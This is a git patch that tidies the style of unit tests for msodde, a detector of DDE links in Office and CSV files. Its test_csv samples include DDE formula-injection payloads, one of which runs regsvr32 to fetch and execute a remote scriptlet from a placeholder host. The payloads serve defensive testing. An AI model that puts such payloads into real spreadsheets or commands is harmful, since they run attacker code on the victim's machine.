From 3977c68cd08e2713edfba054045f8d5270ef2a26 Mon Sep 17 00:00:00 2001 From: Christian Herdtweck Date: Fri, 5 Jan 2018 10:44:10 +0100 Subject: [PATCH] unittests: make pylint and pep8 a bit happier --- tests/msodde/test_basic.py | 20 +++++++++++++------- tests/msodde/test_blacklist.py | 5 +++-- tests/msodde/test_csv.py | 17 +++++++++-------- 3 files changed, 25 insertions(+), 17 deletions(-) diff --git a/tests/msodde/test_basic.py b/tests/msodde/test_basic.py index 7033741..29a444c 100644 --- a/tests/msodde/test_basic.py +++ b/tests/msodde/test_basic.py @@ -17,11 +17,13 @@ from traceback import print_exc class TestReturnCode(unittest.TestCase): + """ check return codes and exception behaviour (not text output) """ def test_valid_doc(self): """ check that a valid doc file leads to 0 exit status """ - for filename in ('dde-test-from-office2003', 'dde-test-from-office2016', - 'harmless-clean', 'dde-test-from-office2013-utf_16le-korean'): + for filename in ( + 'dde-test-from-office2003', 'dde-test-from-office2016', + 'harmless-clean', 'dde-test-from-office2013-utf_16le-korean'): self.do_test_validity(join(BASE_DIR, 'msodde', filename + '.doc')) @@ -65,9 +67,9 @@ class TestReturnCode(unittest.TestCase): except Exception: have_exception = True print_exc() - except SystemExit as se: # sys.exit() was called - return_code = se.code - if se.code is None: + except SystemExit as exc: # sys.exit() was called + return_code = exc.code + if exc.code is None: return_code = 0 self.assertEqual(expect_error, have_exception or (return_code != 0), @@ -77,9 +79,13 @@ class TestReturnCode(unittest.TestCase): class TestDdeLinks(unittest.TestCase): + """ capture output of msodde and check dde-links are found correctly """ def get_dde_from_output(self, capturer): - """ helper to read dde links from captured output """ + """ helper to read dde links from captured output + + duplicate in tests/msodde/test_csv + """ have_start_line = False result = [] for line in capturer: @@ -90,7 +96,7 @@ class TestDdeLinks(unittest.TestCase): elif line == 'DDE Links:': have_start_line = True - self.assertTrue(have_start_line) # ensure output was complete + self.assertTrue(have_start_line) # ensure output was complete return result def test_with_dde(self): diff --git a/tests/msodde/test_blacklist.py b/tests/msodde/test_blacklist.py index babea81..5a557f6 100644 --- a/tests/msodde/test_blacklist.py +++ b/tests/msodde/test_blacklist.py @@ -39,8 +39,8 @@ EXAMPLES_MATCH = ( r'ADVANCE \x 150', r'AUTHOR', r'AUTHOR "Tony Caruso"', - r'BIBLIOGRAPHY \l 1033', # note: the original example has "/l 1033" - r'CITATION Ecma01 \l 1033', # note: this also. Hope this is just a typo + r'BIBLIOGRAPHY \l 1033', # note: the original example has "/l 1033" + r'CITATION Ecma01 \l 1033', # note: this also. Hope this is just a typo r'COMMENTS', r'COMMENTS "I came, I saw, I was not impressed."', r'CREATEDATE', @@ -228,6 +228,7 @@ EXAMPLES_NOMATCH = ( r'SKIPIF MERGEFIELD Order < 100', ) + class TestBlacklist(unittest.TestCase): """ Tests msodde blacklist feature """ diff --git a/tests/msodde/test_csv.py b/tests/msodde/test_csv.py index 9a1a327..a760e6c 100644 --- a/tests/msodde/test_csv.py +++ b/tests/msodde/test_csv.py @@ -21,7 +21,7 @@ class TestCSV(unittest.TestCase): """ write some sample texts to file, run those """ SAMPLES = ( "=cmd|'/k ..\\..\\..\\Windows\\System32\\calc.exe'!''", - "=MSEXCEL|'\\..\\..\\..\Windows\System32\\regsvr32 /s /n /u " + + "=MSEXCEL|'\\..\\..\\..\\Windows\\System32\\regsvr32 /s /n /u " + "/i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''", "completely innocent text" ) @@ -32,13 +32,11 @@ class TestCSV(unittest.TestCase): PREFIXES = ('', '{quote}item-before{quote}{delim}', '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR, '{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR + - '{quote}item-before{quote}{delim}', - ) + '{quote}item-before{quote}{delim}') SUFFIXES = ('', '{delim}{quote}item-after{quote}', '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR, '{delim}{quote}item-after{quote}' + - '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR, - ) + '\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR) for sample_core in SAMPLES: for prefix in PREFIXES: @@ -78,7 +76,7 @@ class TestCSV(unittest.TestCase): links = self.get_dde_from_output(capturer) self.assertEqual(len(links), 1) self.assertEqual(links[0], - "cmd '/k \..\..\..\Windows\System32\calc.exe'") + r"cmd '/k \..\..\..\Windows\System32\calc.exe'") def write_and_run(self, sample_text): """ helper for test_texts: save text to file, run through msodde """ @@ -114,7 +112,10 @@ class TestCSV(unittest.TestCase): filename = None # just in case def get_dde_from_output(self, capturer): - """ helper to read dde links from captured output """ + """ helper to read dde links from captured output + + duplicate in tests/msodde/test_basic + """ have_start_line = False result = [] for line in capturer: @@ -127,7 +128,7 @@ class TestCSV(unittest.TestCase): elif line == 'DDE Links:': have_start_line = True - self.assertTrue(have_start_line) # ensure output was complete + self.assertTrue(have_start_line) # ensure output was complete return result -- libgit2 0.21.4